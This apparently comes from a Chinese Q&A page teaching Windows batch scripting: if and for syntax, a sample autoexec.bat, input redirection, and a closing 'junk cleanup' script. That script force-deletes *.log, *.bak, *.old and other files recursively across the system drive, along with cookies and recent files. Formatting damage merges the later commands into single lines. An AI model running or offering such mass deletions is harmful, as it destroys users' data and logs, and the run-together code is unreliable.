choice=是否显示当前时间?(y/n) if /i not %choice% EQU n echo 当前时间是:%date% %time% pause>nul =============================================== 对于最后一个if判断,当我们输入n或N时的效果是一样的,都不会显示时间。如果我们取消开关/i,则输入N时,依旧会显示时间。 另外请注意一下几个细节:1-echo str1^<str2和echo str1^>=str2;2-echo.。 2、存在判断 存在判断的功能是判断文件或文件夹是否存在。其命令格式为: IF [NOT] EXIST filename command1 [else command2] =============================================== @echo off if exist %0 echo 文件%0是存在的! if not exist %~df0 ( echo 文件夹%~df0不存在! ) else echo 文件夹%~df0存在! pause>nul =============================================== 这里注意几个地方: 1-存在判断既可以判断文件也可以判断文件夹; 2-%0即代表该批处理的全称(包括驱动器盘符、路径、文件名和扩展类型); 3-%~df0是对%0的修正,只保留了其驱动器盘符和路径,详情请参考for /?,属高级批处理范畴; 4-注意if语句的多行书写,多行书写要求command1的左括号必须和if在同一行、else必须和command1的右括号同行、command2的左括号必须与else同行、command1和command2都可以有任意多行,即command可以是命令集。 3、定义判断 定义判断的功能是判断变量是否存在,即是否已被定义。其命令格式为: IF [not] DEFINED variable command1 [else command2] 存在判断举例: =============================================== @echo off set var=111 if defined var (echo var=%var%) else echo var尚未定义! set var= if defined var (echo var=%var%) else echo var尚未定义! pause>nul =============================================== 对比可知,"set var="可以取消变量,收回变量所占据的内存空间。 4、结果判断 masm %1.asm if errorlevel 1 pause & edit %1.asm link %1.obj 先对源代码进行汇编,如果失败则暂停显示错误信息,并在按任意键后自动进入编辑界面;否则用link程序连接生成的obj文件,这种用法是先判断前一个命令执行后的返回码(也叫错误码,DOS程序在运行完后都有返回码),如果和定义的错误码符合(这里定义的错误码为1),则执行相应的操作(这里相应的操作为pause & edit %1.asm部分)。 另外,和其他两种用法一样,这种用法也可以表示否定。用否定的形式仍表达上面三句的意思,代码变为: masm %1.asm if not errorlevel 1 link %1.obj pause & edit %1.asm【 for语句(循环结构) 】 for语句可以实现类似于C语言里面的循环结构,当然for语句的功能要更强大一点,通过不同的开关可以实现更多的功能。for语句有多个开关,不同开关将会实现不同的功能。 1、无开关 无开关的for语句能够对设定的范围内进行循环,是最基本的for循环语句。其命令格式为: FOR %%variable IN (set) DO command 其中,%%variable是批处理程序里面的书写格式,在DOS中书写为%variable,即只有一个百分号(%);set就是需要我们设定的循环范围,类似于C语言里面的循环变量;do后面的command就是循环所执行的命令,即循环体。 无开关for语句举例: =============================================== @echo off for %%i in (a,"b c",d) do echo %%i pause>nul =============================================== 2、开关/L 含开关/L的for语句,可以根据set里面的设置进行循环,从而实现对循环次数的直接控制。其命令格式为: FOR /L %%variable IN (start,step,end) DO command 其中,start为开始计数的初始值,step为每次递增的值,end为结束值。当end小于start时,step需要设置为负数。 含开关/L的for语句举例(创建5个文件夹): =============================================== @echo off for /l %%i in (1,2,10) do md %%i pause =============================================== 上例将新建5个文件夹,文件夹名称依次为1、3、5、7、9。可以发现,%%i的结束值并非end的值10,而是不大于end的一个数。 3、开关/F 含开关/F的for语句具有最强大的功能,它能够对字符串进行操作,也能够对命令的返回值进行操作,还可以访问硬盘上的ASCII码文件,比如txt文档等。其命令格式为: FOR /F ["options"] %%variable IN (set) DO command 其中,set为("string"、'command'、file-set)中的一个;options是(eol=c、skip=n、delims=xxx、tokens=x,y,m-n、usebackq)中的一个或多个的组合。各选项的意义参见for /f。一般情况下,使用较多的是skip、tokens、delims三个选项。 含开关/F的for语句举例: =============================================== @echo off echo **No Options: for /f %%a in ("1,2,10") do echo a=%%a echo **Options tokens ^& delims: for /f "tokens=1-3 delims=," %%a in ("1,2,10") do echo a=%%a b=%%b c=%%c pause =============================================== @echo off echo 本文件夹里面的文件有: for /f "skip=5 tokens=3* delims= " %%a in ('dir') do ( if not "%%a"=="<DIR>" if not "%%b"=="字节" if not "%%b"=="可用字节" echo %%b ) pause =============================================== @echo off echo 本文件夹里面的文件有: dir>c:\file.txt for /f "skip=5 tokens=3* delims= " %%a in (c:\file.txt) do ( if not "%%a"=="<DIR>" if not "%%b"=="字节" if not "%%b"=="可用字节" echo %%b ) del c:\file.txt pause =============================================== 对于后面的两个例子,其中options里面的delims= 是可以删除的,因为只要添加了/F开关系统就将delims的值默认为空格。 符号字符串中的最后一个字符星号, 那么额外的变量将在最后一个符号解析之后 分配并接受行的保留文本。本例中也可以改为4,不过文件名中有空格的文件,只能显示空格以前部分 同时我们也看到了,for语句的do后面的command也是可以分行的,只需要保证command的左括号和do在同一行就可以了。 4、开关/D或/R 含开关/D或/R的for语句是与目录或文件有关的命令,一般情况下很少使用。含开关/R的命令有时候被用于通过遍历文件夹来查找某一个文件或文件夹,故而列举此例。 含开关/R的for语句举例(文件夹遍历): =============================================== @echo off setlocal enabledelayedexpansion FOR /R d: %%i IN (.) DO ( set dd=%%i set "dd=!dd:~0,-1!" echo !dd! ) pause exit =============================================== 上例即可以罗列出D盘下的所有文件夹,其速度要比命令"tree d:"慢多了,不过其返回结果的实用性则远远超过了tree命令。 一般情况下我们不推荐通过遍历文件夹来查找文件,特别是在查找某些程序(比如QQ.exe)的位置时。推荐通过reg命令查找注册表来查找QQ的路径,以保证查找效率。 上例中也出现了几个新面孔,如setlocal、感叹号等。其中,感叹号其实就是变量百分号(%)的强化版。之所以要用!而不用%,是因为在for循环中,当一个变量被多次赋值时,%dd%所获取的仅仅是dd第一次被赋予的值;要想刷新dd的值,就必须首先通过命令"setlocal enabledelayedexpansion"来开启延迟变量开关,然后用!dd!来获取dd的值。 for语句是批处理里面功能最强大、使用最普遍却又最难掌握的一套命令,这也是批处理菜鸟和批处理高手最明显的一个分水岭,一旦掌握了这套命令,那么你就离批处理达人不远了!参考http://ke..com/view/80110.htm?fr=ala0_1_1#3_2

⑻ bat的例子

下面是一个运行于Windows 98(2000,XP)下的autoexec.bat的示例:@ECHO OFFPATH C:WINDOWS;C:WINDOWSCOMMAND;C:UCDOS;C:DOSTools;C:SYSTOOLS;C:WINTOOLS;C:BATCHLH SMARTDRV.EXE /XLHDOSKEYCOM/INSERTLH CTMOUSE.EXESET TEMP=D: TEMPSET TMP=D:TEMP

⑼ bat批处理文件

可以先做个需要输入的数据文件,将所有需要输入的内容输入进这个数据文件里,然后再做个批处理命令,在这命令和需要的参数后加“<你做的数据文件”(引号不要输入)即可就以你的BAT作为例子:先做个数据文件,任意文件名都可以,如DATA.DAT将03回车1.bat回车00回车输入进此文件,保存再做个BAT,例如AAA.BAT,内容为123.exe<DATA.DAT,然后直接运行即可,当然,你做的数据文件和你做的BAT要在同一文件夹下,如果不在同一文件夹下,要在<后加入需要的数据文件所在文件夹名

⑽ .bat文件,都有什么用自己怎么编写

bat文件:专门用于DOS下处理问题的“可执行文件”。编写方法:只要把DOS相关命令黏贴到文本文件中,保存成txt,然后更改扩展名到bat,双击即可运行了。只要Windows即可。 例如:清理系统的bat文件:把下面的内容复制到记事本里面,保存为clear.bat就可以了@echo offecho 正在清除系统垃圾文件,请稍等……del /f /s /q %systemdrive%\*.tmpdel /f /s /q %systemdrive%\*._mpdel /f /s /q %systemdrive%\*.logdel /f /s /q %systemdrive%\*.giddel /f /s /q %systemdrive%\*.chkdel /f /s /q %systemdrive%\*.olddel /f /s /q %systemdrive%\recycled\*.*del /f /s /q %windir%\*.bakdel /f /s /q %windir%\prefetch\*.*rd /s /q %windir%\temp & md %windir%\tempdel /f /q %userprofile%\cookies\*.*del /f /q %userprofile%\recent\*.*del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*"del /f /s /q "%userprofile%\Local Settings\Temp\*.*"del /f /s /q "%userprofile%\recent\*.*"echo 清除系统LJ完成!echo. & pause


赞 (0)